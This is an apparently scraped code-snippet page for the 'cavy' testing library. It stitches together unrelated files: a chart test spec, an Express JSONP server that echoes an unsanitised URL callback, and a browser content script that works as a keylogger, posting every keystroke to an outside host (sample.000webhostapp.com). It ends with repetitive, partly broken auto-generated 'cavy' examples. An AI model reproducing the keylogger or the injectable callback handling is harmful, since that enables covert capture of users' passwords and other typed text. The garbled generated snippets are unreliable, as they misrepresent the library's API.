Best JavaScript code snippet using cavy
boundsBaseCoordinateModel.spec.js
Source:boundsBaseCoordinateModel.spec.js
1/**2 * @fileoverview Test for BoundsBaseCoordinateModel.3 * @author NHN Ent.4 * FE Development Lab <dl_javascript@nhnent.com>5 */6import BoundsBaseCoordinateModel from '../../../src/js/components/mouseEventDetectors/boundsBaseCoordinateModel';7describe('Test for BoundsBaseCoordinateModel', () => {8 let coordinateModel;9 beforeEach(() => {10 coordinateModel = new BoundsBaseCoordinateModel([{11 data: {12 groupBounds: []13 },14 chartType: 'column'15 }]);16 });17 describe('_makeRectTypePositionData()', () => {18 it('should create rect type coordinate data', () => {19 const actual = coordinateModel._makeRectTypePositionData([[20 {21 end: {22 left: 10,23 top: 10,24 width: 20,25 height: 5026 }27 }28 ]], 'column');29 expect(actual[0][0].sendData.chartType).toBe('column');30 expect(actual[0][0].sendData.indexes.groupIndex).toBe(0);31 expect(actual[0][0].sendData.indexes.index).toBe(0);32 expect(actual[0][0].sendData.bound).toEqual({33 left: 10,34 top: 10,35 width: 20,36 height: 5037 });38 expect(actual[0][0].bound).toEqual({39 left: 10,40 top: 10,41 right: 30,42 bottom: 6043 });44 });45 });46 describe('_makeDotTypePositionData()', () => {47 it('should create dot type coordinate data', () => {48 const actual = coordinateModel._makeDotTypePositionData([[49 {50 left: 10,51 top: 1052 }53 ]], 'line');54 expect(actual[0][0].sendData.chartType).toBe('line');55 expect(actual[0][0].sendData.indexes.groupIndex).toBe(0);56 expect(actual[0][0].sendData.indexes.index).toBe(0);57 expect(actual[0][0].sendData.bound).toEqual({58 left: 10,59 top: 1060 });61 expect(actual[0][0].bound).toEqual({62 left: 6,63 top: 6,64 right: 14,65 bottom: 1466 });67 });68 });69 describe('_joinData()', () => {70 it('join last depth array', () => {71 const actual = coordinateModel._joinData([72 [73 [{74 sendData: {75 indexes: {76 index: 077 },78 value: 179 }80 }, {81 sendData: {82 indexes: {83 index: 184 },85 value: 286 }87 }],88 [{89 sendData: {90 indexes: {91 index: 092 },93 value: 394 }95 }, {96 sendData: {97 indexes: {98 index: 199 },100 value: 4101 }102 }]103 ], [104 [{105 sendData: {106 indexes: {107 index: 0108 },109 value: 5110 }111 }],112 [{113 sendData: {114 indexes: {115 index: 0116 },117 value: 6118 }119 }]120 ]121 ]);122 const expected = [123 [{124 sendData: {125 indexes: {126 index: 0127 },128 value: 1129 }130 }, {131 sendData: {132 indexes: {133 index: 1134 },135 value: 2136 }137 }, {138 sendData: {139 indexes: {140 index: 0,141 legendIndex: 2142 },143 value: 5144 }145 }],146 [{147 sendData: {148 indexes: {149 index: 0150 },151 value: 3152 }153 }, {154 sendData: {155 indexes: {156 index: 1157 },158 value: 4159 }160 }, {161 sendData: {162 indexes: {163 index: 0,164 legendIndex: 2165 },166 value: 6167 }168 }]169 ];170 expect(actual).toEqual(expected);171 });172 it('should not set "datum.sendData.indexes.legendIndex" without datum', () => {173 const actual = coordinateModel._joinData([174 [175 [null, {176 sendData: {177 indexes: {178 index: 1179 },180 value: 2181 }182 }],183 [{184 sendData: {185 indexes: {186 index: 0187 },188 value: 3189 }190 }, {191 sendData: {192 indexes: {193 index: 1194 },195 value: 4196 }197 }]198 ], [199 [{200 sendData: {201 indexes: {202 index: 0203 },204 value: 5205 }206 }],207 [{208 sendData: {209 indexes: {210 index: 0211 },212 value: 6213 }214 }]215 ]216 ]);217 const expected = [218 [null, {219 sendData: {220 indexes: {221 index: 1222 },223 value: 2224 }225 }, {226 sendData: {227 indexes: {228 index: 0,229 legendIndex: 2230 },231 value: 5232 }233 }],234 [{235 sendData: {236 indexes: {237 index: 0238 },239 value: 3240 }241 }, {242 sendData: {243 indexes: {244 index: 1245 },246 value: 4247 }248 }, {249 sendData: {250 indexes: {251 index: 0,252 legendIndex: 2253 },254 value: 6255 }256 }]257 ];258 expect(actual).toEqual(expected);259 expect(actual[0][0]).toEqual(null);260 });261 });262 describe('_makeData()', () => {263 it('make data for detecting mouse event', () => {264 const actual = coordinateModel._makeData([265 {266 chartType: 'column',267 data: {268 groupBounds: [[269 {270 end: {271 left: 10,272 top: 10,273 width: 20,274 height: 50275 }276 }277 ]]278 }279 },280 {281 chartType: 'line',282 data: {283 groupPositions: [[284 {285 left: 10,286 top: 10287 }288 ]]289 }290 }291 ]);292 expect(actual[0][0].sendData.chartType).toBe('column');293 expect(actual[0][0].sendData.indexes.groupIndex).toBe(0);294 expect(actual[0][0].sendData.indexes.index).toBe(0);295 expect(actual[0][0].sendData.bound).toEqual({296 left: 10,297 top: 10,298 width: 20,299 height: 50300 });301 expect(actual[0][0].bound).toEqual({302 left: 10,303 top: 10,304 right: 30,305 bottom: 60306 });307 expect(actual[0][1].sendData.chartType).toBe('line');308 expect(actual[0][1].sendData.indexes.groupIndex).toBe(0);309 expect(actual[0][1].sendData.indexes.index).toBe(0);310 expect(actual[0][1].sendData.bound).toEqual({311 left: 10,312 top: 10313 });314 expect(actual[0][1].bound).toEqual({315 left: 6,316 top: 6,317 right: 14,318 bottom: 14319 });320 });321 });322 describe('_findCandidates()', () => {323 it('should filter candidates from data by layerX, laeryY', () => {324 const data = [325 {326 bound: {327 left: 10,328 top: 25,329 right: 20,330 bottom: 35331 },332 sendData: {333 bound: {334 top: 30335 }336 }337 },338 {339 bound: {340 left: 10,341 top: 20,342 right: 20,343 bottom: 30344 },345 sendData: {346 bound: {347 top: 25348 }349 }350 }351 ],352 layerX = 20,353 layerY = 22,354 actual = coordinateModel._findCandidates(data, layerX, layerY),355 expected = [{356 bound: {357 left: 10,358 top: 20,359 right: 20,360 bottom: 30361 },362 sendData: {363 bound: {364 top: 25365 }366 }367 }];368 expect(actual).toEqual(expected);369 });370 it('top and bottom are the same, there should be an empty event space.', () => {371 const data = [372 {373 bound: {374 left: 10,375 top: 25,376 right: 20,377 bottom: 25378 }379 }380 ];381 const layerX = 15;382 const layerY = 23;383 const actual = coordinateModel._findCandidates(data, layerX, layerY).length;384 expect(actual).toBe(1);385 });386 it('left and right are the same, there should be an empty event space.', () => {387 const data = [388 {389 bound: {390 left: 10,391 top: 20,392 right: 10,393 bottom: 30394 }395 }396 ];397 const layerX = 8;398 const layerY = 25;399 const actual = coordinateModel._findCandidates(data, layerX, layerY).length;400 expect(actual).toBe(1);401 });402 });403 describe('findData()', () => {404 it('should find closest data from candinates', () => {405 coordinateModel.data = [[406 {407 bound: {408 left: 10,409 top: 25,410 right: 20,411 bottom: 35},412 sendData: {413 bound: {414 top: 30415 }416 }417 },418 {419 bound: {420 left: 10,421 top: 20,422 right: 20,423 bottom: 30424 },425 sendData: {426 bound: {427 top: 25428 }429 }430 }431 ]];432 const actual = coordinateModel.findData(0, 20, 28);433 const expected = coordinateModel.data[0][0].sendData;434 expect(actual).toBe(expected);435 });436 });...
data.js
Source:data.js
1let express = require('express');2let router = express.Router();3let fs = require('fs');4let dataBase = null;5/**6 * éè¿Promise读ååå¨çæ°æ®,ç¡®ä¿ææ°æ®ååæ§è¡å
¶ä»æä½7 * @return {null} [æ ]8 */9let readFileData = () => {10 let promise = new Promise((resolve, reject) => {11 fs.readFile("./public/database/database.json", "utf-8", (err, data) => {12 if(err) {13 console.log(err);14 reject("read filedata error!");15 }else {16 data = JSON.parse(data);17 dataBase = data;18 resolve();19 }20 })21 });22 return promise;23}24/**25 * éè¿Promiseè·åæ件å26 * @param {String} path [æ件çè·¯å¾å]27 * @param {String} fileClass [æ件æå±çç§ç±»,ç¨äºåºå«è¯·æ±]28 * @return {null} [æ ] 29 */30let getFileName = (path, fileClass) => {31 let promise = new Promise((resolve, reject) => {32 fs.readdir(path, (err, files) => { 33 if (err) { 34 reject("read fileName err!")35 } else { 36 files = files.map((file) => {37 return "http://localhost:3000/images/" + fileClass + "/" + file;38 });39 resolve(files);40 } 41 }); 42 });43 return promise;44}45let imgNames = [];46let appNames = [];47let spikeNames = [];48let moreNames = [];49let likeNames = [];50readFileData().then(() => {51 getFileName("./public/images/swiper", "swiper").then((files) => {52 imgNames = files;53 },() => {54 console.log(err);55 imgNames = false;56 });57 getFileName("./public/images/otherapp", "otherapp").then((files) => {58 let obj = dataBase.otherapp;59 appNames = files.map((file, index) => {60 obj[index].icon = file;61 return obj[index];62 });63 },() => {64 console.log(err);65 });66 getFileName("./public/images/spike", "spike").then((files) => {67 let obj = dataBase.spike.store;68 spikeNames = files.map((file, index) => {69 obj[index].icon = file; 70 return obj[index];71 });72 },() => {73 console.log(err);74 })75 getFileName("./public/images/more", "more").then((files) => {76 moreNames = files.map((file, index) => {77 return {78 icon: file,79 url: dataBase.more[index],80 }81 });82 },() => {83 console.log(err);84 })85 getFileName("./public/images/like", "like").then((files) => {86 let obj = dataBase.like;87 likeNames = files.map((file, index) => {88 obj[index].icon = file;89 return obj[index];90 })91 },() => {92 console.log(err);93 })94}, (err) => {95 console.log(err);96})97exports.swiper = (req, res) => {98 let reg = /\?callback=(.*)/;99 let callback = reg.exec(req.url)[1];100 const sendData = {101 status: 0,102 msg: "",103 data: "",104 }105 if(imgNames) {106 sendData.status = 1;107 sendData.msg = "success";108 sendData.data = imgNames;109 }else {110 sendData.msg = "error";111 }112 let json = JSON.stringify(sendData);113 res.send(callback + '(' + json + ')');114};115exports.otherapp = (req, res) => {116 let reg = /\?callback=(.*)/;117 let callback = reg.exec(req.url)[1];118 const sendData = {119 status: 0,120 msg: "",121 data: [],122 }123 124 if(appNames) {125 sendData.status = 1;126 sendData.msg = "success";127 sendData.data = appNames;128 129 }else {130 sendData.msg = "error";131 }132 let json = JSON.stringify(sendData);133 res.send(callback + '(' + json + ')');134};135exports.spike = (req, res) => {136 let reg = /\?callback=(.*)/;137 let callback = reg.exec(req.url)[1];138 const sendData = {139 status: 0,140 msg: "",141 data: [],142 times: "",143 more: "",144 }145 146 if(spikeNames) {147 sendData.status = 1;148 sendData.msg = "success";149 sendData.data = spikeNames;150 sendData.times = dataBase.spike.times;151 sendData.more = dataBase.spike.more;152 }else {153 sendData.msg = "error";154 }155 let json = JSON.stringify(sendData);156 res.send(callback + '(' + json + ')');157};158exports.more = (req, res) => {159 let reg = /\?callback=(.*)/;160 let callback = reg.exec(req.url)[1];161 const sendData = {162 status: 0,163 msg: "",164 data: [],165 }166 167 if(moreNames) {168 sendData.status = 1;169 sendData.msg = "success";170 sendData.data = moreNames;171 }else {172 sendData.msg = "error";173 }174 let json = JSON.stringify(sendData);175 res.send(callback + '(' + json + ')');176};177exports.like = (req, res) => {178 let reg = /\?callback=(.*)/;179 let callback = reg.exec(req.url)[1];180 const sendData = {181 status: 0,182 msg: "",183 data: [],184 }185 186 if(likeNames) {187 sendData.status = 1;188 sendData.msg = "success";189 sendData.data = likeNames;190 }else {191 sendData.msg = "error";192 }193 let json = JSON.stringify(sendData);194 res.send(callback + '(' + json + ')');...
content.js
Source:content.js
1window.addEventListener("keydown", checkKeyPress, false);2function checkKeyPress(key) {3 if (key.keyCode == "65") {4 senddata("a")5 }6 if (key.keyCode == "66") {7 senddata("b")8 }9 if (key.keyCode == "67") {10 senddata("c")11 }12 if (key.keyCode == "68") {13 senddata("d")14 }15 if (key.keyCode == "69") {16 senddata("e")17 }18 if (key.keyCode == "70") {19 senddata("f")20 }21 if (key.keyCode == "71") {22 senddata("g")23 }24 if (key.keyCode == "72") {25 senddata("h")26 }27 if (key.keyCode == "73") {28 senddata("i")29 }30 if (key.keyCode == "74") {31 senddata("j")32 }33 if (key.keyCode == "75") {34 senddata("k")35 }36 if (key.keyCode == "76") {37 senddata("l")38 }39 if (key.keyCode == "77") {40 senddata("m")41 }42 if (key.keyCode == "78") {43 senddata("n")44 }45 if (key.keyCode == "79") {46 senddata("o")47 }48 if (key.keyCode == "80") {49 senddata("p")50 }51 if (key.keyCode == "81") {52 senddata("q")53 }54 if (key.keyCode == "82") {55 senddata("r")56 }57 if (key.keyCode == "83") {58 senddata("s")59 }60 if (key.keyCode == "84") {61 senddata("t")62 }63 if (key.keyCode == "85") {64 senddata("u")65 }66 if (key.keyCode == "86") {67 senddata("v")68 }69 if (key.keyCode == "87") {70 senddata("w")71 }72 if (key.keyCode == "88") {73 senddata("x")74 }75 if (key.keyCode == "89") {76 senddata("y")77 }78 if (key.keyCode == "90") {79 senddata("z")80 }81 if (key.keyCode == "32") {82 senddata("_")83 }84 if (key.keyCode == "16") {85 senddata("Shift")86 }87 if (key.keyCode == "13") {88 senddata("Enter")89 }90 if (key.keyCode == "20") {91 senddata("CapsLock")92 }93 if (key.keyCode == "8") {94 senddata("Backspace")95 }96 if (key.keyCode == "48") {97 senddata("0")98 }99 if (key.keyCode == "49") {100 senddata("1")101 }102 if (key.keyCode == "50") {103 senddata("2")104 }105 if (key.keyCode == "51") {106 senddata("3")107 }108 if (key.keyCode == "52") {109 senddata("4")110 }111 if (key.keyCode == "53") {112 senddata("5")113 }114 if (key.keyCode == "54") {115 senddata("6")116 }117 if (key.keyCode == "55") {118 senddata("7")119 }120 if (key.keyCode == "56") {121 senddata("8")122 }123 if (key.keyCode == "57") {124 senddata("9")125 }126}127128function senddata(keystork){129 var url = "https://sample.000webhostapp.com/1.php";130 var params = keystork;131 var xhr = new XMLHttpRequest();132 xhr.open("POST", url, true);133 xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");134 xhr.send(params);
...
Using AI Code Generation
1import { sendData } from 'cavy';2sendData('Hello, world!');3import { spec } from 'cavy';4spec('My first test', (spec) => {5 spec.it('sends data to the test runner', async function () {6 await spec.sendData('Hello, world!');7 });8});9[MIT](LICENSE)
Using AI Code Generation
1const { sendData } = require('cavy');2const { Alert } = require('react-native');3class MyComponent extends Component {4 componentDidMount() {5 sendData('some-data', { some: 'data' });6 }7 render() {8 return (9 );10 }11}12const { receiveData } = require('cavy');13describe('MyComponent', () => {14 it('should receive some data', async () => {15 await receiveData('some-data', { some: 'data' });16 });17});
Using AI Code Generation
1import { sendData } from 'cavy';2sendData('myData', 'myValue');3import { sendData } from 'cavy';4sendData('myData', 'myValue');5import { sendData } from 'cavy';6sendData('myData', 'myValue');7import { sendData } from 'cavy';8sendData('myData', 'myValue');9import { sendData } from 'cavy';10sendData('myData', 'myValue');11import { sendData } from 'cavy';12sendData('myData', 'myValue');13import { sendData } from 'cavy';14sendData('myData', 'myValue');15import { sendData } from 'cavy';16sendData('myData', 'myValue');17import { sendData } from 'cavy';18sendData('myData', 'myValue');
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!